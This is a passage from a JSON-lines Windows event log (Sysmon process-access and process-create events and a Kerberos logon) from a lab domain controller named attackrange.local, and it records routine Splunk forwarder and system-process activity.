Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.174\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4089-5F2D-0000-001001970500}\r\nTargetProcessId: 4340\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.174","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4089-5F2D-0000-001001970500}","TargetProcessId":"4340","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winevtlog.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221786,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x59B03\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51379\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x59b03","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51379","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:52:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.675\r\nProcessGuid: {90617006-4089-5F2D-0000-0010689C0500}\r\nProcessId: 4376\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.675","ProcessGuid":"{90617006-4089-5F2D-0000-0010689C0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4089-5F2D-0000-0010689C0500}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4089-5F2D-0000-0010689C0500}","TargetProcessId":"4376","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4089-5F2D-0000-0010689C0500}\r\nTargetProcessId: 4376\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4089-5F2D-0000-0010689C0500}","TargetProcessId":"4376","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3928,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3929,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:41.674\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:41.674","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 